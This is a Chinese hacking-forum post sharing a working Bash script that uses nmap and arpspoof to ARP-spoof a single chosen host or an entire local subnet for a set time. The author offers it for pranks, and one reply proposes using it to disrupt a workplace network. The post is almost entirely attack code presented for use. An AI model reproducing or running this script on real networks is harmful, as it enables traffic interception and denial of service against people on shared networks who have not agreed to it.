吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2616|回复: 5
收起左侧

[其他原创] 简单的arp劫持脚本

[复制链接]
loukx1006 发表于 2021-6-16 23:32
本帖最后由 loukx1006 于 2021-6-17 13:16 编辑

需要nmap和arpspoof
很简单的一个小脚本,可以拿来做小恶作剧
[Bash shell] 纯文本查看 复制代码
#!/bin/bash
gate=$(ip route show|grep default|awk -F ' ' '{print $3}')
echo "------------------------"
echo "网关ip:$gate"
echo "------------------------"
echo "1: 指定ip"
echo "2: 全体ip"
echo "------------------------"
echo -n "选择 > "
read choice
echo "------------------------"

all_ip () {
	echo -n "输入要劫持的时间 > "
	read time
	echo "------------------------"
	arpspoof -i eth0 $gate & { sleep $time;kill $!;sleep 5;kill $!;sleep 5;kill $!&} > /dev/null 2>&1
}

choose_ip () {
	see_all=$(nmap -sn $gate/24|grep "Nmap scan"|awk -F ' ' '{print $5;print $6}'|cut -d "(" -f 2 |cut -d ")" -f 1|sed 'N;/^$/d;G')
	# |awk '++i%2' 匹配偶数行
	echo "$see_all"
	echo "------------------------"
	echo -n "输入要进行arp欺骗的ip > "
	read ip
	echo "------------------------"
	echo -n "输入要劫持的时间 > "
	read time
	echo "------------------------"
	arpspoof -i eth0 -t $ip -r $gate & { sleep $time;kill $!;sleep 5;kill $!;sleep 5;kill $!&} > /dev/null 2>&1
}

shutdown () {
echo "------------------------"
echo "|         关闭         |"
echo "------------------------"
}

if [ $choice = 1 ];then 
	choose_ip
	shutdown
elif [ $choice = 2 ];then
	all_ip
	shutdown
else
	echo "输入错误"
	shutdown
fi

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

rzhxw 发表于 2021-6-17 09:58
怎么用,内网是否能用
tanghengvip 发表于 2021-6-17 11:12
DENGQG 发表于 2021-6-17 11:39
nappywu 发表于 2021-6-23 12:33
厉害了,楼主现在在哪里工作呀,我们在招人哦
Laotu 发表于 2022-11-15 11:27
这个怎么用呀,我们单位网络最近差的很,相关部门也不维修。我准备捣鼓一下,然后让他维修。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-25 03:06

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表